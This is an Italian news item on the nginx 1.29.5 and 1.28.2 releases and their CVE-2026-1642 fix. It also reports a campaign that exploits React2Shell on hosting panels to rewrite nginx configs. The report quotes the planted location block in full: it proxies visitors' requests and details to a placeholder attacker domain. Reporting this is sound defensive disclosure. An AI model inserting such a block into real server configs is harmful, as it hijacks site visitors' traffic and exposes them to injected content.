È stata rilasciata la versione principale nginx 1.29.5, che continua a sviluppare nuove funzionalità, insieme alla versione stabile parallela nginx 1.28.2, alla quale vengono apportate solo modifiche per correggere gravi errori e vulnerabilità. Gli aggiornamenti hanno risolto una vulnerabilità (CVE-2026-1642), che permette a un attaccante di intervenire (MITM) nel canale di comunicazione tra nginx e il server upstream, sostituendo le risposte inviate al cliente. Il problema riguarda le configurazioni che inoltrano richieste (HTTP 1.x, HTTP/2, gRPC o uWSGI) a un server superiore utilizzando la crittografia TLS.
Oltre alla vulnerabilità nella versione 1.29.5, il livello di logging degli errori SSL 'ech_required' è stato ridotto da 'crit' a 'info', e sono stati risolti diversi problemi: è stato eliminato un accesso a memoria già liberata (use-after-free) dopo il passaggio al successivo backend gRPC o HTTP/2; è stato risolto un problema di invio di una richiesta HTTP/2 non valida dopo il cambio al server upstream successivo; è stata corretta l'espansione delle dimensioni della risposta con più intervalli; è stata sistemata l'assegnazione della variabile HTTP_HOST durante il proxy verso backend FastCGI, SCGI e uwsgi.
In aggiunta, si segnala il rilevamento di un attacco automatizzato che, dopo un'intrusione riuscita, server è limitato alla modifica della configurazione di nginx. L'intrusione avviene attraverso una vulnerabilità non corretta React2Shell nei componenti server di React su sistemi con i pannelli di controllo per l'hosting, come Baota (BT). Le modifiche apportate alla configurazione di nginx reindirizzavano le richieste ai siti serviti al server degli attaccanti, che inseriva modifiche dannose nelle risposte restituite agli utenti. location /%PATH%/ { set $fullurl "$scheme://$host$request_uri"; rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break; proxy_set_header Host [Attacker_Domain]; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header User-Agent $http_user_agent; proxy_set_header Referer $http_referer; proxy_ssl_server_name on; proxy_pass http://[Attacker_Domain]; }
In questo modo, invece di installare rootkit o malware sul server, viene condotta un'attacco ai clienti che aprono il sito web ospitato sul server, senza modificare direttamente i componenti del sito sul server. L'attacco è principalmente mirato a intercettare il traffico dei domini dei paesi asiatici, così come dei domini *.edu e *.gov. Attraverso il server degli aggressori, vengono reindirizzati richieste selettive, ad esempio, contenenti nei percorsi parole come "pg", "pgslot", "slot", "game", "casino", "live", "help", "news", "page", "blog", "about", "support" e "info". L'attacco viene eseguito in modo automatizzato utilizzando strumenti che ricercano e analizzano la configurazione di nginx, selezionano e sostituiscono modelli di configurazione, riavviano nginx e controllano il funzionamento della versione modificata.
Fonte: opennet.ru
